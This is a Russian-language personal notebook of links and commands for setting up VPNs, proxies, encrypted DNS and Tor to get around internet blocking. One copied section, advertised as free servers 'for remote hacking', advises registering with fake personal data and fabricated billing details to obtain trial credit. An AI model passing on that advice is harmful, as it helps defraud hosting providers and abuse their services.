VPN, который не заблокируют! Настройка личного VPN сервера Amnezia на базе протоколов OpenVPN и ShadowSocks over Cloak


OpenConnect
https://ocserv.openconnect-vpn.net/
https://gitlab.com/openconnect/ocserv
https://ocserv.gitlab.io/www/
https://gitlab.com/openconnect/openconnect
https://www.infradead.org/openconnect/download.html
https://wiki.archlinux.org/title/OpenConnect
OpenConnect: недетектируемый VPN, который вам понравится
Настраиваем OpenConnect - совместимый с Cisco AnyConnect VPN сервер на платформе Linux
Установка и настройка openconnect на Ubuntu 22.04
curl https://sysadmintalks.ru/openconnect-ubuntu2204/ | w3m -T text/html -dump
Поднимаем SSL VPN OpenConnect с Let's Encrypt в Ubuntu 20.04
Установка и настройка VPN-сервера с OpenConnect в Ubuntu 20.04
Как установить ocserv на Arch Linux
Как установить Ocserv на Debian
Учебник Установка OpenConnect на Ubuntu 20.04
https://raw.githubusercontent.com/iw4p/OpenConnect-Cisco-AnyConnect-VPN-Server-OneKey-ocserv/master/ocserv-install.sh
Установка из исходников OpenConnect VPN-сервера (ocserv) на Debian 11 Bullseye
Поднимаем OpenConnect SSL VPN сервер (ocserv) в docker для внутренних проектов

Set Up OpenConnect VPN Server (ocserv) on Ubuntu 20.04 with Let’s Encrypt
Set up Certificate Authentication in OpenConnect VPN Server (ocserv)
https://github.com/Neilpang/ocserv/blob/master/tests/data/test-user-group-cert-no-pass.config
https://nocip.ru/linux/nastrojka-openconnect-v-ubuntu/

apt install openconnect network-manager-openconnect network-manager-openconnect-gnome

OpenConnect
https://github.com/cernekee/ics-openconnect
https://f-droid.org/ru/packages/app.openconnect/
Clavister OneConnect
https://play.google.com/store/apps/details?id=com.clavister.oneconnect
Cisco Secure Client-AnyConnect
https://play.google.com/store/apps/details?id=com.cisco.anyconnect.vpn.android.avf

Как установить Cisco AnyConnect VPN на Android
Как установить Cisco Secure Client VPN на Linux
https://its.gmu.edu/wp-content/uploads/cisco-secure-client-linux64-5.1.3.62-predeploy-k9.tar.gz

https://github.com/cernekee/ics-openconnect
https://gitlab.com/openconnect/ics-openconnect
https://xdaforums.com/t/app-4-0-v1-11-20150221-openconnect-ssl-vpn-client-for-cisco-anyconnect.2616121/
https://drive.google.com/file/d/17IRsGNYqUav9Yf2bsInxnc0uGD6g_PZz/view

Превращаем любой SSH-сервер в полноценный VPN с помощью утилиты sshuttle
https://github.com/sshuttle/sshuttle
https://sshuttle.readthedocs.io/en/stable/

pip install sshuttle

создаем скрипт с именем типа vpn.sh:



Здесь eax и 11.22.33.44 нужно заменить на имя пользователя и IP-адрес вашего сервера.

Далее говорим:
chmod u+x ./vpn.sh
sudo ./vpn.sh

… и ждем появления строчки:
client: Connected.

Проверяем, что все работает:
curl https://eax.me/ip/

В ответ должен прийти IP-адрес использованного SSH-сервера. Также проверяем, что используется DNS-сервер, указанный в переменной $DNS:
dig eax.me

В ответ должно прийти что-то вроде:
...
;; Query time: 20 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)

… где 8.8.8.8 — это выбранный нами DNS-сервер. В данном случае это сервер компании Google.

Напоследок вот вам несколько занимательных фактов о sshuttle:

Чтобы все работало, на сервере не требуются ни root, ни sudo;
Утилита не ломается, если попытаться сделать VPN внутри VPN;
Также вы можете использовать ее совместно с OpenVPN или каким-нибудь Tor;


Абсолютно бесплатный VPN с бесплатного VPS
VPN на своём сервере с IP адресом из США за 1$ в месяц⁠⁠

проверить месторасположение vps
https://www.myip.com/
https://whatismycountry.com/

https://www.stunnel.org/
Stunnel на сервере и клиенте

Тонкий клиент HP в качестве домашнего роутера и файл-сервера (настройки)
Установка VNC сервера, и настройка его работы поверх SSH
Бесплатный VPN от Comodo
https://www.freeopenvpn.org/
https://freevpn4you.net/
https://protonvpn.com/ru/free-vpn/
https://antizapret.prostovpn.org/
https://github.com/simple-2ch/thread/blob/main/head.txt
Обход блокировок на роутере
Выборочный обход блокировок на маршрутизаторах с прошивкой Padavan и Keenetic OS

VPNBook - бесплатный VPN сервис без ограничений.
https://www.vpnbook.com/freevpn

Обходим блокировки через свой прокси впн который точно не заблокируют
https://github.com/MHSanaei/3x-ui
https://raw.githubusercontent.com/mhsanaei/3x-ui/master/install.sh

Строим туннели. Разбираемся с новинками VPN
https://sites.google.com/site/addsharming/vpn/stroim-tunneli-razbiraemsa-s-novinkami-vpn

FreeLAN
https://www.freelan.org/
https://github.com/freelan-developers/freelan

------------------------------------------------------------------------

http://www.govpn.info/Tarballs.html
https://git.cypherpunks.ru/cgit.cgi/govpn.git/
------------------------------------------------------------------------

Отчет о VPN подключениях в ISA

------------------------------------------------------------------------
xpra
https://wiki.archlinux.org/title/Xpra
https://www.altlinux.org/Xpra
xpra - утилита удаленного запуска графических приложений

https://riseup.net/
https://riseup.net/ru/vpn

http://www.vpngate.net/en/ список бесплатных VPN серверов
http://www.gatherproxy.com/
https://losst.ru/spisok-serverov-openvpn
https://www.vpnbook.com/freevpn
https://freevpn4you.net/ru/locations/sweden.php
https://www.freeopenvpn.org/logpass/germany.php

ключи доступа
https://getoutline.net/access-keys/
https://getoutline.me/access-keys/
https://t.me/free1ss
https://t.me/OutlineVpnOfficial

https://ru.thatoneprivacysite.net/

https://getoutline.net/
https://sagernet.org/
https://hi-l.eu/

------------------------------------------------------------------------

proxy
список доступных криптографических инструментов и децентрализованных сервисов.
Статистика доступных прокси серверов
Атаки на прокси-сервер
------------------------------------------------------------------------
Единая точка выхода в web, I2P, TOR и обход блокировок
https://github.com/oxyd76/tinyxit
Как установить и настроить TinyProxy на вашем Linux-сервере
http://tinyproxy.github.io/

https://dev.m1089.ru/fproxy

https://3proxy.ru/documents/
https://github.com/3proxy/3proxy
Перенаправление через 3proxy
настройка 3proxy на debian12
https://mitmproxy.org/

Tun2Socks
https://github.com/xjasonlyu/tun2socks
https://hub.docker.com/r/xjasonlyu/tun2socks/
https://aur.archlinux.org/packages/tun2socks
Tun2Socks: прокси-сервер в качестве шлюза, или VPN через прокси
Поднимаем на OpenWrt клиент прокси VLESS, Shadowsocks, Shadowsocks2022. Настройка sing-box и tun2socks

stealth proxy
https://github.com/tholian-network/stealth
https://play.google.com/store/apps/details?id=com.free.stealthvpn&hl=ru

Shadowsocks
https://github.com/shadowsocks
https://shadowsocks.org/en/download/clients.html
pip install shadowsocks
https://github.com/shadowsocks/shadowsocks-libev
sudo apt install shadowsocks-libev
https://github.com/shadowsocks/shadowsocks-libev/blob/master/docker/alpine/README.md
docker pull shadowsocks/shadowsocks-libev
docker run -p 8388:8388 -p 8388:8388/udp -d --restart always shadowsocks/shadowsocks-libev:latest

Shadowsocks
https://github.com/shadowsocks/shadowsocks-android
https://play.google.com/store/apps/details?id=com.github.shadowsocks&hl=ru

https://getoutline.org/
https://github.com/Jigsaw-Code/?q=outline
https://github.com/Jigsaw-Code/outline-server
https://github.com/Jigsaw-Code/outline-ss-server
https://raw.githubusercontent.com/Jigsaw-Code/outline-server/master/src/server_manager/install_scripts/install_server.sh
Как создать свой личный VPN сервер Outline⁠⁠
Криптовалюты — быстрый старт. Outline на европейском сервере за крипту. Свой аналог VPN.
https://www.youtube.com/watch?v=L-vmufI0uP8

ключи доступа
https://t.me/free1ss
https://getoutline.net/access-keys/
https://getoutline.me/access-keys/

https://github.com/tsunamaru/ss2ch/wiki
https://github.com/StreisandEffect/streisand
https://www.v2ray.com/ru/
https://github.com/shadowsocks/shadowsocks-windows/releases
https://github.com/cbeuw/GoQuiet
https://github.com/tsunamaru/riga-src/blob/master/services/shadowsocks-libev-goquet.service
https://github.com/tsunamaru/riga-src/blob/master/cfg/config-goquiet.json
https://github.com/cbeuw/GoQuiet-android
https://justpaste.it/4tjdx
https://telegra.ph/shadowsocks-over-cloudflare-05-17
https://justpaste.it/3mm70

паста с двача
архивный тред с двача

Коротко о Shadowsocks, или OpenVPN не нужен (в каждом доме)
Shadowsocks: свой VPN за пять минут
Как настроить Shadowsocks (альтернатива VPN)
Shadowsocks на CentOS 7
Настройка Shadowsocks через Cloudflare CDN
Личный сервер shadowsocks за 10 минут без затрат
Личный сервер shadowsocks за 10 минут без затрат (часть 2)
Личный сервер shadowsocks за 10 минут без затрат (часть 3)
Проксируем OpenVPN через Shadowsocks или чиним OpenVPN во время блокировок
Обход блокировок с помощью Shadowsocks + Cloak
настройка shadowsocks на debian12
3X-UI: Shadowsocks-2022 & XRay (XTLS) сервер с простой настройкой и приятным интерфейсом

Hiddify — простой и сложный VPN
https://hiddify.com/
https://github.com/hiddify/hiddify-next
https://sing-box.sagernet.org/
https://github.com/SagerNet/sing-box
https://f-droid.org/ru/packages/io.nekohasekai.sfa/

Обход блокировок на OpenWRT с помощью Sing-box (vless, vmess, trojan, ss2022) и баз GeoIP, Geosite


proxychains-ng
https://github.com/rofl0r/proxychains-ng
ProxyChains-NG
Как настроить прокси в ProxyChains на Linux
$ sudo -e /etc/proxychains.conf
# находим
[ProxyList]
# записываем что-то вроде
socks5 X.X.X.X 1080 proxy_user proxy_pass

proxychains -q curl -s https://ipinfo.io
proxychains -q chromium --incognito https://2ip.ru

запустить программу через shadowsocks
https://github.com/shadowsocks/shadowsocks/wiki/Using-Shadowsocks-with-Command-Line-Tools


установка squid с доступом по группам в AD, squidGuard, lighttpd+lightsquid, sams2 в centos часть 1
установка squid с доступом по группам в AD, squidGuard, lighttpd+lightsquid, sams2 в centos часть2
------------------------------------------------------------------------
Развертывание прокси-сервера федерации (Microsoft)
------------------------------------------------------------------------
Безопасный HTTPS-прокси менее чем за 10 минут
Свободный* интернет без рекламы с минимальным энергопотреблением в режиме ожидания на смартфонах (в картинках)
https://freemyip.com/
https://github.com/SenseUnit/dumbproxy
https://github.com/SagerNet/SagerNet

Открытые клиенты Hola VPN и Opera VPN
https://github.com/Snawoot/hola-proxy
https://github.com/Snawoot/opera-proxy
https://github.com/Snawoot/windscribe-proxy
Запустить.
./hola-proxy.linux-amd64 -country de



./opera-proxy.linux-amd64 -country EU



./windscribe-proxy.linux-amd64 -location Germany/Frankfurt



Станет доступен обычный HTTP-прокси на локальном порту 8080 hola-proxy 18080 opera-proxy 28080 windscribe-proxy
Настроить браузер и/или другое ПО на использование HTTP-прокси-сервера по адресу 127.0.0.1:8080 для hola-proxy, 127.0.0.1:18080 для opera-proxy, 127.0.0.1:28080 для windscribe-proxy

SwitchyOmega (Chrome, Firefox)

tsocks
https://linux.die.net/man/5/tsocks.conf
https://www.systutorials.com/docs/linux/man/8-tsocks/
https://www.usenix.org.uk/content/tsocks.html
apt install tsocks
/etc/tsocks.conf



tsocks wget ftp://someplace.com/somefile

связка с shadowsocks



server_port должен соответствовать настройкам локального порта shadowsocks, server_type его следует установить на 5, поскольку shadowsocks использует socks5, а не socks4.



Анонимизация трафика утилит командной строки с ProxyChains
работа в консоли через прокси (wget и тд)

Socks5 proxy на CentOS 7
------------------------------------------------------------------------
ssh proxy via host, прокси SOCKS
создание постоянного SSH-тоннеля

SSH-туннели — пробрасываем порт
установка XRDP, VNC и SSH на Ubuntu и Debian. autossh
Настройка SSH-тунеля
Как настроить постоянно работающий SSH-туннель

Маршрутизация локальной сети через прозрачный socks-прокси
https://github.com/aktos-io/link-with-server

http://ruslash.com/ssh-proxy-via-host/
На локальном хосте выполняем:
$ ssh -L 8888:localhost:8888 HOSTA
На следующем хосте
$ ssh -D 8888 HOSTX
Потом подключаемся на локальный 8888 порт и используем его в качестве socks прокси.

https://wiki.enchtex.info/practice/ssh_socks_proxy_server
на локальной машине подключаемся к удаленной системе с помощью команды:
$ ssh -D8080 user@server
где -D8080 – произвольный номер порта.
в настройках программы выбираем использоваться socks прокси на адрес 127.0.0.1:8080


Создаём SOCKS 5 прокси с помощью SSH-соединения через удалённый сервер в Linux
Cоздать SOCKS 5 прокси довольно просто. Достаточно выполнить команду по следующей схеме:

ssh -f -C2qTnN -D <порт> <удаленный_пользователь>@<удаленный_сервер> -p 22
Где
-f Запросит ssh перейти в фоновый режим только перед выполнением команды.
-C Включит сжатие всех данных (включая stdin, stdout, stderr и данные для перенаправленных Х11 и TCP/IP соединений).
-2 Принуждает ssh использовать только протокол версии 2.
-q Тихий режим. Подавляет все предупреждения и диагностические сообщения. Будут отображены только фатальные ошибки.
-T Отменить переназначение терминала.
-n Перенаправляет стандартный ввод из /dev/null (фактически, предотвращает чтение из стандартного ввода).
-N Не выполнять удаленную команду.
-D [локальный IP : ] порт
-p указывает, какой порт использовать; очевидно, это значение по умолчанию равно 22, поэтому приведенное выше утверждение не имеет смысла, но включено для ясности.

Например:

ssh -f -C2qTnN -D 1080 roman@8.8.8.8
После введения пароля к удаленному серверу, SSH перейдёт в фоновый режим.

Далее вам следует открыть любой браузер, в котором прописать адрес SOCKS 5 прокси в параметрах соединения.

Для примера я взял Firefox.
Идём «Правка» → «Настройки» → вкладка «Дополнительно» → вкладка «Сеть» → раздел «Соединение» → кнопка «Настроить»
Устанавливаем там пункт «Ручная настройка сервиса прокси», в поле «Узел SOCKS» пишем наш IP адрес (обычно 127.0.0.1), а в поле «Порт» — указанный порт (в примере 1080).
Ставим ключ на пункт «SOCKS 5» и применяем настройки.

Как мне настроить локальный SOCKS прокси, который туннелирует трафик через SSH?

Как настроить прокси через туннель SSH в Ubuntu: примеры с Firefox и Chrome
создайте прокси SOCKS на локальном хосте: 9999 (выберите любой неиспользуемый порт) через соединение SSH с портом , используя имя пользователя [Unknown site tag]. Вам может быть предложено ввести пароль.
Фактический пример:
$ ssh -D 9999 -f -C -N johndoe@path.to.proxy.server.edu -p 52831

SSH через HTTP прокси
http://www.zeitoun.net/articles/ssh-through-http-proxy/start
https://www.math.ucla.edu/computing/kb/creating-ssh-proxy-tunnel-putty


Squid
http://www.squid-cache.org/
https://ru.bmstu.wiki/Squid
Настройка proxy-сервера
Squid, Kerberos и LDAP
Настройка squid с авторизацией в AD
Ubuntu Server. Настраиваем роутер NAT + DHCP + Squid3
Настраиваем Squid для работы с Active Directory. Часть 1 - базовые настройки
Настраиваем Squid для работы с Active Directory. Часть 2 - Kerberos-аутентификация
Настраиваем Squid для работы с Active Directory. Часть 3 - Авторизация на основе групп AD
«Прозрачный» Squid с фильтрацией HTTPS ресурсов без подмены сертификатов (x86)



Бесплатный VPN сервер, клиент, и тд. часть 1

DNS
https://antifilter.download/
Список бесплатных DNS-сервисов
Как включить DNS через HTTPS в Chrome прямо сейчас
Запустите Chromium с флагами


https://browser.yandex.ru/help/security/dnscrypt.html
https://github.com/bromite/bromite/wiki/Enabling-DNS-over-HTTPS
Как настроить DNS over HTTPS в Firefox
Установка DNSCrypt (dnscrypt-proxy) в Windows, Linux и MacOS
Как установить dnscrypt-proxy в Arch Linux, BlackArch и их производные
MikroTik & OpenWRT & DNSCrypt
Настройка BGP для обхода блокировок, или «Как я перестал бояться и полюбил РКН»
Настройка BGP для обхода блокировок, версия 2, «не думать»

Mikrotik DNS over HTTPS
файлы сертификатов
https://cacerts.digicert.com/DigiCertGlobalRootCA.crt.pem
https://curl.haxx.se/ca/cacert.pem
https://erza.ru/cert/cacert.pem

Protect Your DNS Privacy on Ubuntu 20.04/18.04 (DNS over TLS)
https://github.com/getdnsapi/stubby
sudo apt install stubby
systemctl status stubby
sudo netstat -lnptu | grep stubby
sudo netstat -lnptu | grep systemd-resolv

Set Up DNS over HTTPS (DoH) Resolver on Ubuntu with DNSdist

https://dnsprivacy.org/wiki/display/DP/DNS+Privacy+Test+Servers

Список DoH серверов — смотреть тут, но самые популярные скорее всего будут Google ( https://8.8.8.8/dns-query ) и Cloudflare ( https://1.1.1.1/dns-query ).
https://dns.google/dns-query

Тестируем и проверяем на сайте Cloudflare
https://1.1.1.1/help

https://www.dnscrypt.org/
https://dnscrypt.info/public-servers/
https://download.dnscrypt.info/resolvers-list/v2/public-resolvers.md
https://github.com/gortcodex/dnscrypt-loader
https://github.com/DNSCrypt/dnscrypt-proxy/releases

https://github.com/bol-van/zapret

Установка dnscrypt-proxy в Ubuntu 18.04, 17.10
Установка DNSCrypt (dnscrypt-proxy) в Windows, Linux и MacOS

sudo add-apt-repository ppa:shevchuk/dnscrypt-proxy
sudo apt update
sudo apt install dnscrypt-proxy

sudo nano /etc/dnscrypt-proxy/dnscrypt-proxy.toml
Раскомментируем (убираем значок #) строку server_names (и заменяем имена серверов на нужные нам). Для сохранения изменений нажимаем CTRL+O соглашаемся на изменения и затем CTRL+X для закрытия. Либо от имени Администратора в текстовом редакторе правим файл dnscrypt-proxy.toml расположенный в /etc/dnscrypt-proxy/.

В настройках сети - IPV4 - DNS - отключаем Автоматический и ставим 127.0.0.1
sudo sed -i 's/127.0.2.1/127.0.0.1/g' /lib/systemd/system/dnscrypt-proxy.socket

sudo systemctl daemon-reload
sudo systemctl stop dnscrypt-proxy.socket
sudo systemctl enable dnscrypt-proxy
sudo systemctl start dnscrypt-proxy

Перезагружаем систему.
sudo reboot
Посмотрите содержимое журнала:
dnscrypt-proxy is ready - live servers:


Список доменов в зоне ru/su/tatar/рф/дети доступен публично из-за некорректной настройки DNS
Magnet-ссылка Дампы зон, сжатые xz

http://firststat.ru
Скрипт для сбора статистики для зон ru/su/rf. Собираются все записи c DNS, Автономная система, переод делегирования
Статистика распределения доменов по AS, IP, NS, MX и прочим параметрам

https://www.verisign.com/en_US/channel-resources/domain-registry-products/zone-file/index.xhtml?loc=en_US
1. Список всех доменов (причем именно всех, а не только тех, которые есть на корневых NSах) .ru,.рф, .su
https://reghouse.ru/upload/ru_domains_reghouse.gz
https://reghouse.ru/upload/rf_domains_reghouse.gz
https://reghouse.ru/upload/su_domains_reghouse.gz
2. Что касается доменных зон, аналогично:
https://reghouse.ru/upload/ru_zone_reghouse.gz
https://reghouse.ru/upload/rf_zone_reghouse.gz
https://reghouse.ru/upload/su_zone_reghouse.gz

проверка блокировки
$ nc -w2 -z 1.1.1.1 53
$ echo $?


VPS
https://www.oracle.com/cloud/free/
VPS на Linux с графическим интерфейсом: запускаем сервер X2Go на Ubuntu 18.04
ЛЕГКИЕ МЕТОДЫ, ЧТОБЫ ПОЛУЧИТЬ БЕСПЛАТНЫЕ VPS / RDP ДЛЯ УДАЛЕННОГО взлома 2019
Метод 1:
Следующие сайты предоставляют бесплатный VPS:

https://www.zettagrid.com/cloudcomputing/30-day-free-trial/
https://www.zettagrid.com/cloudcomputing/30-day-free-trial-2/
http://vpswala.org/
http://ohosti.com/vpshosting.php
https://gratisvps.net/
https://my.letscloud.io/sign-up/
https://developer.rackspace.com/
https://www.vultr.com /
https://www.ionos.com/enterprise-cloud? i ... ofitbricks
https://www.cloudsigma.com/
https://www.digitalocean.com/
http://ezywatch.com/freevps /
https://yellowcircle.net/
https://www.ctl.io/free-trial/
https://www.ihor.ru/
https://www.neuprime.com/l_vds3.php
https://www.apponfly.com/en/
https://www.skysilk.com/
https://sadd.io/

Способ 2:
Введите https://vps.apponfly.com/
Нажмите F12 и откройте Network
Follow эти изображения: https://imgur.com/a/JgnUYqc

Метод: 3
Требования:
- учетная запись Google
- кредитная карта (можно использовать Яндекс VCC)
1. Перейти в Google Cloud | https://cloud.google.com/free/
2. Зарегистрируйтесь и заполните все данные.

Круто, теперь у вас есть 300 $ бесплатно в VPS, на котором вы можете иметь 32 ядра и т.д. Наслаждайтесь)

Способ 4.
Перейдите по адресу:
https://turbo.net/.

Теперь зарегистрируйте учетную запись:
выберите программу, которую вы хотите использовать (предпочтительно Google Chrome).
Наслаждайтесь бесплатной RDP!

Способ 5:
1. Перейдите по адресу:
https://www.vpsserver.com/?affcode=0e0f79a9d02f

2. Зарегистрируйте и проверьте свою электронную почту
3. Выберите, какую ОС вы хотите - windows server / ubuntu
4. Теперь подождите 30 минут для сборки сервера
5. Теперь перейдите к панели управления и получите пользователя / пароль для удаленного рабочего стола
6. Круто, поздравляю Теперь у вас есть бесплатный VPS

Метод 6:
Получите пожизненный бесплатный VPS:

1. Закажите «BackupHD Classic». Free https://www.euserv.com/en/cloud/backup-hd-free.php
2. Войдите в клиентскую доску и проверьте, был ли заключен договор.
3. Подождите, пока контракт не будет обработан (это займет несколько часов).
Вы получите электронное письмо, когда это будет сделано.
4. Нажмите «Выбрать» за своим контрактом.
5. Нажмите «Центр инноваций и испытаний» в левом меню.
6. Нажмите «Запрошенное участие за закрытым бета-тестом CBCI».
7. Подождите, пока ваш контракт будет обработан (это может занять несколько часов).
В настоящее время вы можете установить свой сервер через панель клиентов, и у вас также есть немного места для резервного копирования.

Способ 7.
Получите бесплатный VPS / RDP менее чем за 5 минут:

1. Перейдите на serveroffer.lt и просматривайте их сайт в течение одного момента или около того, пока не получите сообщение, подобное этому https://gyazo.com/c4d311cd614af5239b2a6f5b77cc9d68
2. Отвечайте на них приятно.
3. Они спросят вас, какой пакет вам нужен
4. Выберите одну из своих услуг, например, VDS-10. Это чрезмерно;
Я думаю, VDS-3 или VDS-4, если это возможно.
5. Попытайтесь использовать разные серверы на случай, если вам понадобится
6. Они также запросят учетную запись, просто сделайте это с поддельными данными (поддельная информация)
7. Они также получат некоторые Для получения информации об ОС выберите Debian 9, поскольку Windows обязуется запустить ОС, а это пустая трата ресурсов.
8. Вы получите информацию о своем сервере в своей электронной почте.

Способ 8.
Сначала откройте следующую ссылку и зарегистрируйтесь, чтобы получить свои 10 долларов. кредит.
https://cloud.digitalocean.com/settings/billing

Заполняя данные для выставления счета, нажмите «Есть промо-код?»
внизу страницы.
Введите любой из промо-кодов, чтобы получить дополнительный кредит:
DOPRODUCT15 (получите $ 15 БЕСПЛАТНО)
На первом этапе вы получите свой первый кредит в размере 10 долларов США, а с помощью дополнительных промо-кодов вы можете получить до 35 долларов США на все кредиты.
Примечание: некоторые коды дают больше кредитов на более высокие планы.
Примечание. Если в этот момент ваш код не работает, откройте заявку и ваша проблема должна быть решена.
Для Кредитной карты -> Использовать VCC с низким стимулом внутри (Для проверки), остальные вы можете использовать fakenamegenerator для заполнения деталей.
Многомесячный VPS = $ 5.
Таким образом, вы получите 5-месячный VPS-
https://gist.github.com/phimyo

бесплатная пробная версия DigitalOcean

1. Используйте реферальную ссылку ; за первый месяц по 10 долларов бесплатно или два месяца по 5 долларов бесплатно.

2. Пробные 3 дня бесплатно DigitalOcean на Cloudways здесь ; это один из самых простых способов быстро развернуть полностью управляемый сервер (опционально с готовым WordPress) за считанные минуты.

Вариант 1. Вам необходимо ввести данные кредитной карты.
Вариант 2. Просто зарегистрируйте аккаунт; данные кредитной карты не нужны.

метод 9:
1. Перейдите на https://dash.hokocloud.com/login#/register
2. Зарегистрируйте и подтвердите учетную запись с вашей электронной почты.
3. Перейдите в сегмент VPS - БЕСПЛАТНЫЙ VPS
4. Выберите Правило 1 - Правило 1
5. Выберите бесплатный тариф
6. Выберите нужный сервер.
7. Ваш бесплатный VPS готов к

сбору всех этих бесплатных источников VPS / RDP.
Немногие могут не работать в зависимости от изменения их TOS со временем.

https://www.euserv.com/en/cloud/backup-hd-free.php

цензура и безопасность

https://ssd.eff.org/ru/
https://privacytools.ru/
http://www.cypherpunks.ru/Links.html#Links
https://www.cryptoparty.in/learn/handbook
https://ru.thatoneprivacysite.net/
https://github.com/StreisandEffect/streisand
https://github.com/StevenBlack/hosts
https://antizapret.prostovpn.org/
https://bitbucket.org/anticensority/antizapret-vpn-container/src/master/
https://mega.nz/file/dQsEnTCI#dJSGN5tbOriszN_HXQk-wDiNvwN41WN3kpIt7JynNrA
https://github.com/simple-2ch/thread/blob/main/head.txt

Бесплатные VPN-серверы (OpenVPN)
Бесплатные VPN-серверы (L2TP/IPsec)
Бесплатные VPN-серверы (SSTP)

https://t.me/OutlineVpnOfficial

https://www.privacytools.io/classic/
https://www.stateofthedapps.com/
https://github.com/gdamdam/awesome-decentralized-web

https://zeronet.io/
https://zeronet.io/docs/faq/
https://github.com/remiflavien1/awesome-darknet

https://www.ovpn.com/en

https://ntc.party/

DNS
https://github.com/NLnetLabs/unbound
https://unbound.docs.nlnetlabs.nl/en/latest/

анонимайзеры
https://weboproxy.com/
https://www.croxyproxy.com/
https://www.proxysite.com/
https://proxysite.pro/
https://proxysite.cloud/
https://unblockproxy.me/
http://fiberprox.me/
https://www.genmirror.com/
https://proxy.pattyland.de/
http://free-webproxy.com/
https://polvoestelar.mx/fenicia2/


расширения для браузеров
https://browsec.com/en/
https://vpn-free.pro/
Обход блокировок Рунета
https://github.com/anticensority/runet-censorship-bypass/wiki

------------------------------------------------------------------------
https://github.com/slackhq/nebula

Shellinabox — если вдруг заблокируют SSH

Bleeding-edge обход блокировок с полной маскировкой: настраиваем сервер и клиент XRay с XTLS-Reality быстро и просто

Marzban
https://pikabu.ru/story/proksyatinoy_zapakhlo_10739939
https://github.com/Gozargah/Marzban-scripts/raw/master/marzban.sh
------------------------------------------------------------------------
https://mega.nz/folder/c7sAARKb#k_erI9nbPP2Ziavndw17gg
Надежный обход блокировок в 2024: протоколы, клиенты и настройка сервера от простого к сложному
Обходим блокировки через свой прокси впн который точно не заблокируют
https://github.com/MHSanaei/3x-ui
Строим туннели. Разбираемся с новинками VPN
https://sites.google.com/site/addsharming/vpn/stroim-tunneli-razbiraemsa-s-novinkami-vpn
FAQ по Shadowsocks/XRay/XTLS/Reality/Nekobox/etc. для обхода блокировок
OpenConnect: недетектируемый VPN, который вам понравится
GOST: швейцарский нож для туннелирования и обхода блокировок
Особенности проксирования через CDN/Websocket/gRPC для обхода блокировок
Domain fronting для чайников, и как его использовать для обхода блокировок
DNSTT. DNS туннель для обхода блокировок

https://web.archive.org/web/20230000000000*/https://habr.com/ru/users/MiraclePtr/publications/articles/
https://miracleptr.wordpress.com/2023/10/29/faq-по-shadowsocks-xray-xtls-reality-nekobox-etc-для-обхода-блокировок/
------------------------------------------------------------------------
Как обойти блокировку провайдера «Ростелеком» для https-сайтов внесенных в реестр запрещенных сайтов?
Ростелеком обновил механизм блокировки сайтов — обходим снова
Список лучших бесплатных анонимайзеров
почему у провайдера Ростелеком сайты работают через жопу:

Обход прокси используя ssh, dynamic port forwarding | Bypassing proxy limits using ssh, dynamic port

Расшариваем веб-сайт на localhost в глобальную сеть интернет.
установка XRDP, VNC и SSH, SSLH: Прячем SSH/HTTPS/OpenVPN/Telegram за единым портом 443

Временное письмо прямо с вашего терминала
https://github.com/sdushantha/tmpmail

https://protonmail.com/ru/
http://protonirockerxow.onion/
https://play.google.com/store/apps/details?id=ch.protonmail.android

Как устроен СОРМ?

Как заблокировать IP адрес с помощью ufw на Ubuntu Linux

nano /etc/ufw/before.rules
# Block страница блокировки РосТелеком
-A ufw-before-input -s 95.167.13.50 -j DROP
-A ufw-before-input -s 95.167.13.51 -j DROP

ufw reload

nano /etc/host
127.0.0.1 warning.rt.ru

Блокировку Роскомнадзора можно обойти, добавив точку в конец адреса web-сайта

SSH
Доступ к ssh серверу через очень зарегулированное подключение
Shellinabox — если вдруг заблокируют SSH
https://github.com/sshuttle/sshuttle
https://www.stunnel.org/config_unix.html
https://github.com/erebe/wstunnel
https://github.com/tsl0922/ttyd
https://github.com/stuicey/SSHy
https://xtermjs.org/

Tor
https://www.torproject.org/ru/download/
https://check.torproject.org/
https://bridges.torproject.org/
http://deb.torproject.org/
https://help.ubuntu.ru/wiki/tor
https://wiki.debian.org/TorBrowser
https://ssd.eff.org/ru/module/руководство-по-использованию-tor-для-linux
https://sheensay.ru/tor
Анонимизация трафика утилит командной строки с ProxyChains
ProxyChains-NG
Настройка прокси в Linux. Анонимность в стиле Mr. Robot. Proxychains-ng.
Как: Установить Tor в Linux — Ubuntu/Debian/Mint и т.п.
установка tor в debian
Включаем Tor на всю катушку — «Хакер»
Как обойти блокировку Tor
Типичные ошибки, приводящие к деанонимизации
Tor: от азов до продвинутого уровня
Типичные ошибки, приводящие к деанонимизации

Использование Tor Expert Bundle на localhost

Практика использования анонимной сети Tor
Вариант 1: использование tor и Chromium
Установка сервиса:
sudo pacman -S tor torsocks

Запуск, остановка, и так далее производятся, как обычно:
sudo systemctl start tor
sudo systemctl stop tor

Сервис Tor работает, как socks-прокси на 127.0.0.1:9050. Любую программу можно заставить работать через Tor при помощи утилиты torify:
curl https://eax.me/ip/ -o -
torify curl https://eax.me/ip/ -o -

Если torify по какой-то причине не работает (я сталкивался с таким на старых версиях Ubuntu), попробуйте также утилиту proxychains. Она по умолчанию настроена на использование Tor, поэтому даже конфиг (/etc/proxychains.conf) не придется трогать.

Теперь — запуск Chromium:
chromium --proxy-server="socks5://127.0.0.1:9050" \
--host-resolver-rules="MAP * 0.0.0.0 , EXCLUDE 127.0.0.1" \
--incognito http://godnotaba36dsabv.onion/

Первый ключ говорит использовать указанный socks-прокси, второй — перенаправлять через него в том числе и DNS трафик. Заметьте, что чтобы это работало, Chromium сначала нужно закрыть.

Вариант 2: использовать Tor Browser

Заходим на .onion ресурсы
В сети Tor существуют поисковые системы, например, Torch и Candle.
каталоги сайтов. Вот некоторые из них:

С их помощью вы без труда найдете все остальные внутренние ресурсы сети — форумы, торренты, почту, jabber, магазины, обменники валют, и многие другие.

Поднимаем свой .onion ресурс
Ставим Nginx:
sudo pacman -S nginx
sudo systemctl enable nginx
sudo systemctl start nginx
curl localhost:80 -o -
Должны увидеть знаменитое Welcome to nginx!.

Ставим Tor:
sudo pacman -S tor torsocks

Дописываем в файл /etc/tor/torrc:
HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 80 127.0.0.1:80
# можно указывать несколько портов:
HiddenServicePort 22 127.0.0.1:22

Запускаем Tor:
sudo systemctl enable tor
sudo systemctl start tor

Обязательно делайте резервную копию /var/lib/tor/hidden_service/ — без нее вы не сможете перенести свой сайт на другую машину, сохранив доменное имя. В файле hostname вы увидите сгенерированное доменное имя. Можно вбить его в Tor Browser и убедиться, что вы увидите Welcome to nginx!. Заметьте, что весь трафик уже шифруется, и вы эффективно получаете SSL/TLS безо всяких там центров сертификации!

